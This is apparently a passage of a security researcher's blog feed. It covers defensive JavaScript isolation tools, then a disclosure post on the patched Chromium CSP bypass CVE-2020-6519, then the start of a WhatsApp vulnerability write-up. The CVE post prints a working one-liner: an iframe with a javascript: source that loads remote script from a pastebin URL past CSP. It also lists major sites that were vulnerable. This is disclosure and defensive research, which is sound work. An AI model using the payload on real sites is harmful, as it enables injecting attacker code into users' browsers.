comes to life within the web app, &lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;Snow ❄️&lt;/a&gt; comes to solve exactly that.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So if security vendors used to hook fetch as demonstrated above, with Snow you can now apply that code to every new iframe that comes to life within the app:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;snow&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;@weizman/snow&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;snow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;realFetch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arg1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;fetch activity logged, might be an attacker&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;realFetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arg3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Snow is a security driven project - it aspires to cover all techniques there are to creating new iframes, and it makes sure its
internal functionality is secure by calling sensitive operations via &lt;code&gt;Securely&lt;/code&gt; (read below).&lt;/p&gt;
&lt;p&gt;Snow aspires to set a new standart hermatic solution to nested ownership of windows in a webpage. Therefore, Snow is very useful
to a lot of other purposes, in and outside of the security field.&lt;/p&gt;
&lt;p&gt;You can build in browser capabillities and tools and use Snow to eliminate the possibilites to bypass such tools by leavreging new realms.
Across is an excellent example to that.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;To dive into Snow and learn more about this, its source code, how to install and use, how and why it works and designed&lt;/em&gt;
&lt;em&gt;the way it is and to see a live demonstration of how it works refer to the resources &lt;a href=&quot;#snow-%EF%B8%8F&quot;&gt;listed above&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;a-hrefhttpsgithubcomlavamoatacrossacross-a-1&quot;&gt;&lt;a href=&quot;https://github.com/lavamoat/across&quot;&gt;Across ↔&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Across specifically is a new technology (also security related) that is a bit bigger than the supply chain attacks problem, but could not have been
created without leaning on Snow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In order to unlock the ability for two scripts within a webpage to communicate with each other securly based on their origin, &lt;a href=&quot;https://github.com/lavamoat/across&quot;&gt;Across ↔&lt;/a&gt; aspires to establish a way to do so&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In other words, with Across script &lt;code&gt;https://x.com/a.js&lt;/code&gt; can share information with &lt;code&gt;https://y.com/b.js&lt;/code&gt; and stay assured that this information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;really did come from the sender script and not any other entity.&lt;/li&gt;
&lt;li&gt;was not tampered by any other entity.&lt;/li&gt;
&lt;li&gt;was not read by any other entity.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;which is a state that cannot be achieved based on how modern browsers work.&lt;/p&gt;
&lt;p&gt;To me, Across is a very exciting technology that unlocks possibilities that were non existing until now.&lt;/p&gt;
&lt;p&gt;With Across third party scripts can safely exchange information with each other on the client side without needing a server.&lt;/p&gt;
&lt;p&gt;Across can also be used to fight the supply chain attacks problem.
For example, Across can be used to set up a “proxy script” to sensitive APIs and grant access to those APIs only to specific scripts based on their origin.&lt;/p&gt;
&lt;p&gt;This unlocks the ability to solve security problems, redefine business relations between different javascript vendors and more.&lt;/p&gt;
&lt;p&gt;I dive into the possibilities Across unlocks in the &lt;a href=&quot;https://github.com/lavamoat/across/wiki/Introducing-Across#unlocking-possibilities-with-across&quot;&gt;following section&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Across is also a security drived project that could not have been made without:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Snow - to apply itself in all new windows in the webpage to remain secured;&lt;/li&gt;
&lt;li&gt;Securely - to eliminate the ability of an attacker to sabotage Across’s core functionality by overriding APIs it uses.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;To dive into Across and learn more about this, its source code, how to install and use, how and why it works and designed&lt;/em&gt;
&lt;em&gt;the way it is and to see a live demonstration of how it works refer to the resources &lt;a href=&quot;#across-&quot;&gt;listed above&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;a-hrefhttpsgithubcomlavamoatsecurelysecurely-a-1&quot;&gt;&lt;a href=&quot;https://github.com/lavamoat/securely&quot;&gt;Securely 🔒&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Securely allows you to call native APIs using their original behaviour even if they were tampered within the web app.
This allows for writing tools such as Snow and Across that are more resilient to attacks such as prototype pollution and MITB.&lt;/p&gt;
&lt;p&gt;Securely permits the web app and all js code that runs within it to apply such hooks out of belief that
these hooks are a legitimate and unseparatable part of the service provided by many third party vendors, especially in websites.&lt;/p&gt;
&lt;p&gt;Instead, &lt;strong&gt;Securely allows you to declare what native functionalities you might need to use in your web app&lt;/strong&gt; that you want to avoid any potential hooks
and &lt;strong&gt;grants you exculsive access to them when needed&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;To dive into Securely and learn more about this, its source code, how to install and use, how and why it works and designed&lt;/em&gt;
&lt;em&gt;the way it is and to see a live demonstration of how it works refer to the resources &lt;a href=&quot;#securely-&quot;&gt;listed above&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;my-take&quot;&gt;My Take&lt;/h2&gt;
&lt;p&gt;As someone with vast experience in aspects of browser javascript security, including but not limited to supply chain defense, I wish
Securely, Snow and Across will be adopted and contributed to in order to get them ready for production usage.&lt;/p&gt;
&lt;p&gt;I believe all three of them can be used to create more secure software that is less vulnerable to unwanted code that is executing within
a website in a browser, thanks to them handling exactly the security problems javascript allows as of today.&lt;/p&gt;
&lt;p&gt;That being said, my approach is not the only one, I highly recommend learning about the complementary
approach that &lt;a href=&quot;https://github.com/lavamoat/lavamoat&quot;&gt;LavaMoat&lt;/a&gt; brings.&lt;/p&gt;
&lt;p&gt;I hope that with time we learn how to integrate and adopt all solutions as they are important together for creating a more secure
development platform for javascript web apps.&lt;/p&gt;
&lt;p&gt;It is important to note - Securely, Snow and Across are tools for development, they are not standalone solutions.
In order for them to be effective one must use them as tools to fruther secure their web app.&lt;/p&gt;
&lt;h2 id=&quot;feedback&quot;&gt;Feedback&lt;/h2&gt;
&lt;p&gt;I’d love to hear your feedback! Whether its help with the project, feedback on my approach and perception of the
problem and the solution or anything else - it is highly appreciated.&lt;/p&gt;
&lt;p&gt;Because eventually, these tools cannot take off without adoption.&lt;/p&gt;
&lt;p&gt;I encourage you to read further about these technologies. Each one of them has its own README, WIKI and DEMO files that
aspire to explain and demonstrate these projects further as much as possible, in terms of motivation, technical explanation, demonstration and usage.&lt;/p&gt;
&lt;p&gt;Hope this turns out helpful!&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>CVE-2020-6519 - Chromium 83 Zero Day Full CSP Bypass Cross Platforms</title>
   <link href="https://weizman.github.io//2020/09/02/csp-vuln/"/>
   <updated>2020-09-02T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2020/09/02/csp-vuln</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;tl;dr - This is the story of how I found and helped &lt;strong&gt;Google&lt;/strong&gt; &lt;a href=&quot;https://chromereleases.googleblog.com/2020/07/stable-channel-update-for-desktop.html#:~:text=Gal%20Weizman%20(@WeizmanGal)%20of%20PerimeterX&quot;&gt;patch&lt;/a&gt; a &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-6519&quot;&gt;&lt;strong&gt;vulnerability in Chrome browser&lt;/strong&gt;&lt;/a&gt; that could have allowed attackers to &lt;a href=&quot;https://crbug.com/1064676&quot;&gt;&lt;strong&gt;fully bypass CSP rules&lt;/strong&gt;&lt;/a&gt; since Chrome 73 (March 2019), and how researching it taught me that today’s CSP mechanism design is the reason &lt;strong&gt;no one uses CSP correctly and therefore many of the biggest websites in the world are exposed to this vulnerability&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;bypassing-csp-completely-can-be-very-bad&quot;&gt;Bypassing CSP completely can be very bad..&lt;/h3&gt;
&lt;p&gt;I was extremely surprised when I discovered this vulnerability affecting &lt;a href=&quot;https://www.chromium.org/&quot;&gt;Chromium&lt;/a&gt; based browsers  - Chrome, Opera, Edge -  on Windows, Mac and Android that allowed attackers to fully bypass CSP rules on Chrome versions 73 (March 2019) through 83 (July 2020).&lt;/p&gt;
&lt;p&gt;To better understand the magnitude of this vulnerability - the potentially impacted users are in the billions, with Chrome having over two billion users, and more than 65% of the browser market on one hand, and some of the most popular sites on the web being vulnerable to this CVE on the other hand.&lt;/p&gt;
&lt;p&gt;Vulnerable sites included &lt;a href=&quot;https://www.facebook.com/&quot;&gt;Facebook&lt;/a&gt;, &lt;a href=&quot;https://www.wellsfargo.com/&quot;&gt;WellsFargo&lt;/a&gt;, &lt;a href=&quot;https://gmail.com/&quot;&gt;Gmail&lt;/a&gt; , &lt;a href=&quot;https://zoom.us/&quot;&gt;Zoom&lt;/a&gt;, &lt;a href=&quot;https://www.tiktok.com/en/&quot;&gt;Tiktok&lt;/a&gt;, &lt;a href=&quot;https://instagram.com/&quot;&gt;Instagram&lt;/a&gt;, &lt;a href=&quot;https://whatsapp.com/&quot;&gt;WhatsApp&lt;/a&gt;, &lt;a href=&quot;https://www.investopedia.com/&quot;&gt;Investopedia&lt;/a&gt;, &lt;a href=&quot;https://www.espn.com/&quot;&gt;ESPN&lt;/a&gt;, &lt;a href=&quot;https://www.roblox.com/&quot;&gt;Roblox&lt;/a&gt;, &lt;a href=&quot;https://www.indeed.com/&quot;&gt;Indeed&lt;/a&gt;, &lt;a href=&quot;https://www.blogger.com/&quot;&gt;Blogger&lt;/a&gt;, &lt;a href=&quot;https://www.quora.com/&quot;&gt;Quora&lt;/a&gt; and more.&lt;/p&gt;
&lt;p&gt;So what was the vulnerability exactly?&lt;/p&gt;
&lt;h3 id=&quot;break-csp-down-completely-with-a-one-liner&quot;&gt;Break CSP Down Completely With A One-Liner&lt;/h3&gt;
&lt;p&gt;You are more than welcome to check out the &lt;a href=&quot;https://github.com/weizman/CVE-2020-6519/tree/master/POC&quot;&gt;POC files as disclosed to Google Chrome project&lt;/a&gt; originally if you are interested in the exploit and in running it, but the following sum up should cover it mostly:&lt;/p&gt;
&lt;p&gt;Normally, an attempt to run the following JS code will be blocked by the browser when the site’s CSP setting disallows the source or actions performed by the script:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* this is a script that pops an alert message */&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_CVE_URL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://pastebin.com/raw/dw5cWGK6&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/* this call will fail due to CSP */&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_CVE_URL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;However, running the same JS code via &lt;code&gt;javascript:&lt;/code&gt; src of an iframe will bypass completely the configured CSP on that website:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* this is a script that pops an alert message */&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_CVE_URL&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://pastebin.com/raw/dw5cWGK6&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/* this call will succeed although CSP */&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;DIV&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;lt;iframe src=&apos;javascript:var s = document.createElement(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;);s.src = &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://pastebin.com/raw/dw5cWGK6&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;;document.body.appendChild(s);&apos;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Simple yet very powerful!&lt;/strong&gt; Billions of browsers on any OS would have blindly allowed CSP privilege escalation for any unwanted code in a website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/5a.gif&quot; alt=&quot;5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It is worth mentioning that some sites protected by CSP, like &lt;a href=&quot;http://twitter.com/&quot;&gt;Twitter&lt;/a&gt;, &lt;a href=&quot;http://github.com/&quot;&gt;Github&lt;/a&gt;, &lt;a href=&quot;https://www.linkedin.com/&quot;&gt;LinkedIn&lt;/a&gt;, &lt;a href=&quot;https://play.google.com&quot;&gt;Google Play Store&lt;/a&gt;, &lt;a href=&quot;https://login.yahoo.com&quot;&gt;Yahoo’s Login Page&lt;/a&gt;, &lt;a href=&quot;https://paypal.com&quot;&gt;PayPal&lt;/a&gt; and &lt;a href=&quot;https://yandex.ru&quot;&gt;Yandex&lt;/a&gt; were not vulnerable to &lt;a href=&quot;https://github.com/weizman/CVE-2020-6519/&quot;&gt;CVE-2020-6519&lt;/a&gt;, as these implemented CSP using &lt;a href=&quot;https://content-security-policy.com/nonce/&quot;&gt;nonce&lt;/a&gt; or &lt;a href=&quot;https://content-security-policy.com/hash/&quot;&gt;hash&lt;/a&gt; and by that added a layer of security that is implemented on the server side as well as the client side.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h3 id=&quot;what-is-the-potential-impact&quot;&gt;What is the potential impact?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://content-security-policy.com/&quot;&gt;Content Security Policy (CSP)&lt;/a&gt; is basically a set of rules set by the website that the browser’s role here is to respect and enforce in the name of the website.&lt;/p&gt;
&lt;p&gt;With these rules the website can ask the browser to block/allow specific request calls, specific types of javascript code execution and more, thus ensuring stronger security for site visitors and protecting them from potential injected malicious scripts or &lt;a href=&quot;https://owasp.org/www-community/attacks/xss/&quot;&gt;cross-site-scripting (XSS)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Having a vulnerability in Chrome’s CSP enforcement mechanism doesn’t directly mean that sites are breached, as the attackers also need to manage to get the malicious script called from the site (which is why the vulnerability was classified as medium severity).&lt;/p&gt;
&lt;p&gt;However, having a vulnerability in a security mechanism that is trusted by websites to enforce stricter policies on 3rd party scripts has vast implications, as some of the largest sites rely on CSP to enforce their policy, and may give them the comfort of approving 3rd party scripts of vendors and partners thinking they are safe with a strict policy enforced.&lt;/p&gt;
&lt;p&gt;Besides the sites mentioned above (representing more than 2.5 billion users), it is safe to estimate that thousands of websites across industries, including e-commerce, banking, telecommunications, government, and utilities were left unprotected from a scenario where hackers managed to inject malicious code into them.&lt;/p&gt;
&lt;h3 id=&quot;why-should-we-be-worried-about-a-vulnerability-that-is-exploitable-only-when-an-attacker-gained-code-execution-on-a-website-in-that-case-bypassing-csp-wouldnt-make-much-of-a-difference&quot;&gt;Why should we be worried about a vulnerability that is exploitable only when an attacker gained code execution on a website? In that case, bypassing CSP wouldn’t make much of a difference..&lt;/h3&gt;
&lt;p&gt;I disagree.&lt;/p&gt;
&lt;p&gt;It is extremely risky when a vulnerability is found in the security mechanism that prevents such breaches, as the impacted sites actively relied on CSP to provide the protection tier.&lt;/p&gt;
&lt;p&gt;About 6 months ago I found a &lt;a href=&quot;https://weizman.github.io/page-whatsapp-vuln/&quot;&gt;persistent XSS in WhatsApp Web/Desktop applications and demonstrated the severity of this vulnerability&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Part of the reason the severity was so high is because their CSP was misconfigured in such a way that allowed me to inject scripts that could communicate with any domain I wanted.&lt;/p&gt;
&lt;p&gt;This is why. Finding ways to execute code on a website you don’t control is indeed extremely difficult.
But once someone has, you’d wish your website had another layer of security that might stop them from causing real damage.&lt;/p&gt;
&lt;p&gt;You can read all about this research right &lt;a href=&quot;https://weizman.github.io/page-whatsapp-vuln/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;test-it-yourself&quot;&gt;Test It Yourself&lt;/h3&gt;
&lt;p&gt;I was easily able to test all of those websites by creating a &lt;a href=&quot;https://github.com/weizman/CVE-2020-6519/blob/master/CVE-2020-6519-TEST-IT-YOURSELF.js&quot;&gt;simple script&lt;/a&gt; that when executed via the devtools console will let you know immediately whether the current browser/website is vulnerable to &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-6519&quot;&gt;CVE-2020-6519&lt;/a&gt; due to misconfigured CSP/Old Chrome or not. It does that by trying to load an external js script from &lt;a href=&quot;https://pastebin.com/raw/XpHsfXJQ&quot;&gt;https://pastebin.com/raw/XpHsfXJQ&lt;/a&gt; both normally and by trying to load the exploit as well:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Browser and Website are vulnerable&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/2a.jpg&quot; alt=&quot;2&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Browser is vulnerable but Website is not&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/1a.jpg&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Browser is not vulnerable&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/4a.jpg&quot; alt=&quot;4&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;advice-for-website-owners-and-users&quot;&gt;Advice For Website Owners And Users&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Ensure your CSP policies are well defined&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Consider adding additional layers of security such as &lt;a href=&quot;https://content-security-policy.com/nonce/&quot;&gt;nonce&lt;/a&gt;s or &lt;a href=&quot;https://content-security-policy.com/hash/&quot;&gt;hash&lt;/a&gt;s.
This will require some server-side implementation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CSP alone is not enough for most websites so, consider adding additional layers of security&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Consider JavaScript-based detection and monitoring of &lt;a href=&quot;https://www.perimeterx.com/tech-blog/2020/shadow-code-what-is-it-and-why-should-you-care/&quot;&gt;Shadow Code for real-time mitigation of web page code injection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Make sure your Chrome browser version is 84 or higher.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;about-the-patch&quot;&gt;About The Patch&lt;/h3&gt;
&lt;p&gt;This vulnerability was &lt;a href=&quot;https://crbug.com/1064676&quot;&gt;patched&lt;/a&gt; by the Chromium project on Chrome 84, was tagged as medium (&lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?name=CVE-2020-6519&amp;amp;vector=AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N&amp;amp;version=3.1&amp;amp;source=NIST&quot;&gt;CVSS 6.5&lt;/a&gt;) risk and was granted $3,000.&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>CVE-2019-18426 - WhatsApp Vulnerabilities Disclosure - Open Redirect + CSP Bypass + Persistent XSS + FS read permissions + potential for RCE</title>
   <link href="https://weizman.github.io//2020/02/14/whatsapp-vuln/"/>
   <updated>2020-02-14T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2020/02/14/whatsapp-vuln</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;tl;dr - This is the story of how I found and helped &lt;strong&gt;Facebook&lt;/strong&gt; patch multiple security flaws in &lt;strong&gt;WhatsApp&lt;/strong&gt;, all the way from a simple &lt;strong&gt;Open-Redirect&lt;/strong&gt; through a &lt;strong&gt;Persistent-XSS&lt;/strong&gt; and &lt;strong&gt;CSP-bypass&lt;/strong&gt; to a full cross platforms &lt;strong&gt;Read From The Local File System&lt;/strong&gt; on both Windows and Mac and got &lt;strong&gt;12,500$&lt;/strong&gt; as a reward!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Checkout the &lt;a href=&quot;https://github.com/weizman/CVE-2019-18426&quot;&gt;technical project and the exploit&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
